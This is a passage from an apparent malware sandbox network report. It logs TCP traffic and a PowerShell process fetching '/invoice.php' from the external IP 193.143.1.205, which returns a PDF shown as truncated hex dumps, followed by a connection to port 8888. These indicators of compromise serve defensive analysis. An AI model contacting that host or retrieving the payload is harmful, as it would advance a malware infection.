Jan 10, 2025 19:01:55.207031965 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.207035065 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.207048893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.207061052 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.207072020 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.207072973 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.207139969 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.207170963 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.207180977 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.207199097 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.207214117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.207216024 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.207273960 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.207370043 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.207382917 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.207393885 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.207405090 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.207422972 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.207443953 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.207475901 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.207488060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.207499981 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.207539082 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.235563040 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.235578060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.235594988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.235608101 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.235620022 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.235629082 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.235631943 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.235645056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.235656023 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.235667944 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.235676050 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.235687971 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.235697031 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.235701084 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.235713005 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.235714912 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.235726118 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.235749960 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.235752106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.235764980 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.235780954 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.235811949 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.235815048 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.235827923 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.235872030 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.235915899 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.235928059 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.235939026 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.235970020 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.236018896 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.236032009 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.236057997 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.236089945 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.236102104 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.236129999 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.236206055 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.236217976 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.236224890 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.236234903 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.236247063 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.236255884 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.236259937 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.236287117 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.236345053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.236356974 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.236368895 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.236385107 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.236407995 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.236476898 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.236489058 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.236500025 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.236511946 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.236540079 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.236567020 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.236577034 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.236588001 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.236598969 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.236625910 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.236670017 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.236680984 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.236690998 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.236701965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.236711979 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.236742020 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.236821890 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.236833096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.236841917 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.236855030 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.236861944 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.236870050 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.236881971 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.236891985 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.236896038 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.236908913 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.236921072 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.236922979 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.236941099 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.236969948 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.237175941 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.237188101 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.237199068 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.237210035 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.237221956 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.237224102 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.237232924 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.237245083 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.237251043 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.237260103 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.237271070 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.237298965 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.237420082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.237432957 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.237443924 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.237456083 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.237468958 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.237472057 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.237482071 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.237492085 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.237519979 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.237597942 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.237610102 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.237621069 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.237632990 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.237644911 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.237657070 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.237657070 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.237685919 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.237699032 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.237859011 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.237869978 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.237881899 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.237890959 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.237901926 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.237910032 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.237915039 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.237927914 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.237929106 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.237938881 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.237951040 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.237960100 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.237978935 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.238030910 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.238070011 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.238102913 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.238143921 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.238156080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.238172054 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.238183975 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.238194942 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.238204002 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.238234043 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.262341976 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.262352943 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.262363911 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.262370110 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.262417078 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.262456894 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.370371103 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.375374079 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.375391960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.375416040 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.375428915 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.375458956 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.375458956 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.375473022 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.375514030 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.375546932 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.375560999 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.375572920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.375583887 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.375602961 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.375612974 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.375638008 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.375735998 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.375746965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.375757933 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.375768900 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.375782013 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.375793934 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.375802040 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.375807047 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.375819921 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.375838995 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.375869036 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.376065969 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.376076937 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.376101971 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.376120090 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.376120090 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.376132011 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.376143932 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.376157045 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.376168966 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.376168966 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.376183033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.376204014 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.376225948 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.376318932 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.376329899 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.376341105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.376353025 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.376359940 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.376367092 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.376390934 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.376420975 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.376498938 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.376519918 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.376532078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.376559973 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.376562119 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.376571894 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.376583099 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.376597881 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.376601934 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.376629114 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.428495884 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.583785057 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.703433037 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:56.089095116 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:56.094052076 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:56.094157934 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:56.107525110 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:56.112626076 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:56.953927994 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:57.006494999 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:57.495346069 CET	49731	8888	192.168.2.4	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 19:02:09.066771984 CET	53223	53	192.168.2.4	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 19:02:09.066771984 CET	192.168.2.4	1.1.1.1	0xdfb0	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 19:02:09.074780941 CET	1.1.1.1	192.168.2.4	0xdfb0	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	193.143.1.205	80	3548	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 19:01:53.568609953 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 10, 2025 19:01:54.547228098 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 18:01:54 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 10, 2025 19:01:54.547405958 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 10, 2025 19:01:54.547420025 CET	448	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 10, 2025 19:01:54.547430992 CET	1236	IN	Data Raw: ab ce 09 d5 25 b4 1b 08 ed 33 68 0a a0 17 e7 b3 c7 7d fb 9f cd 23 fd cd 4b 49 a2 fd 88 a8 9d 0f 7d fc 34 ef a1 1c 1e ba 13 a6 be 21 01 00 00 ec 0a be 4c 02 00 00 00 00 e0 cb 30 49 70 c1 6e 28 2d c8 1d 2f a1 6d f1 bc 6f 1a e8 d9 fd b9 7b 48 15 6d Data Ascii: %3h}#KI}4!L0Ipn(-/mo{Hmi?"PoH;2l`rPSB]8s~%~w}rS&WJ\|1W{c =*@Og8m\|JtConopN01R
Jan 10, 2025 19:01:54.547444105 CET	1236	IN	Data Raw: 00 00 c0 34 f8 62 09 00 00 00 00 80 2f c9 46 63 0a 76 4f e5 81 a1 77 f3 03 43 af 52 0c 3d 6b 0e 0c 3d 39 be 3d 4e 3b 72 f7 d2 8e dc c1 58 e8 cb e7 e7 2f ff 38 7f f1 47 f3 9f 7d 0f 6d ce 0f 4d c3 a1 7b ef ae 3f a4 4d b9 87 b7 27 b2 29 77 f4 d8 d0 Data Ascii: 4b/FcvOwCR=k=9=N;rX/8G}mM{?M')wl7'i_X>Ma\|h7*roM'7'i_xGG}`<F}cM}?~1=C3`\|
Jan 10, 2025 19:01:54.547456026 CET	1236	IN	Data Raw: 17 4b 00 b0 e3 76 ea df 7f 6b 3e 7e 7d f7 dc 68 1b 5d ef a5 d6 7f cc b5 bc 8e 5b bb aa 25 2e 6f 8d 17 b6 ca 5b 71 c5 67 78 c5 0b ab ff 50 f5 ef b1 a5 5f dc 55 ec e0 ab b9 ae 3f da 54 bf ef d2 17 00 00 eb b5 f6 db 1a 76 54 bc 23 57 c5 d0 87 14 43 Data Ascii: Kvk>~}h][%.o[qgxP_U?TvT#WCCSb]CU}kch:6=CO%t1?6cC21ASKv_pe-%.u-~mVYO?]=8`6zs(?0&51$
Jan 10, 2025 19:01:54.547561884 CET	1236	IN	Data Raw: df 71 fb ff 88 01 f0 15 5a f1 86 8c cf c0 27 13 43 3f 56 c5 d0 ab 3e 86 9e 15 63 e8 db 57 83 e1 50 f3 98 fd fd 37 5d 0c bd 0a 63 e8 49 8a a1 67 f7 12 43 6f 6e 9e e6 c7 86 3e 04 c7 86 12 43 b7 65 ea 9b 13 00 00 c0 34 f8 62 09 00 26 17 de 78 6b 9a Data Ascii: qZ'C?V>cWP7]cIgCon>Ce4b&xkKEK_BXG:a!9KSRDs/rWUK<Z[axj?P/xy5KoeSco1>'f,12Cn1KCumg
Jan 10, 2025 19:01:54.547583103 CET	896	IN	Data Raw: c3 00 fa 39 2c 4f 25 7b e5 0c 5a 53 69 75 a2 35 55 74 a1 57 d3 bc ac 95 f7 99 47 97 b3 97 68 91 61 12 5d 22 83 16 ee b4 6b 19 7f 9e fa 1f 47 00 be 4c 95 ff a6 8f cf 93 1b 0b fd e4 77 e4 3e 76 3b 72 4d 0c bd bc e8 62 e8 e9 c9 6d 13 43 0f 5d 0c 35 Data Ascii: 9,O%{ZSiu5UtWGha]"kGLw>v;rMbmC]5GR91g}\|~yS0XmIr%&zu6"Oa508J)$*eer\|S\UP6B]=tWS&)wCNkJV
Jan 10, 2025 19:01:54.547596931 CET	1236	IN	Data Raw: 00 db e4 6f b0 35 25 34 37 de 95 3b 56 72 f4 cc c1 5c 26 28 cc 6a 15 4a a8 4e 3f 32 07 9a 1a a8 d4 cf b7 ad 37 ad d7 4e fa fb e9 d7 a4 36 aa ab a8 69 43 b9 13 3c 35 df 32 96 a8 54 35 89 ca 3c c3 7e 4c 75 a1 38 a5 af 2a 9c a5 d5 23 b4 35 d5 cc 4c Data Ascii: o5%47;Vr\&(jJN?27N6iC<52T5<~Lu8#5L>8f\^xmI3#^{hudM/eG_\?c0{,?nQGDUBwZ?l+`hC?bC31t_PC={6H=17
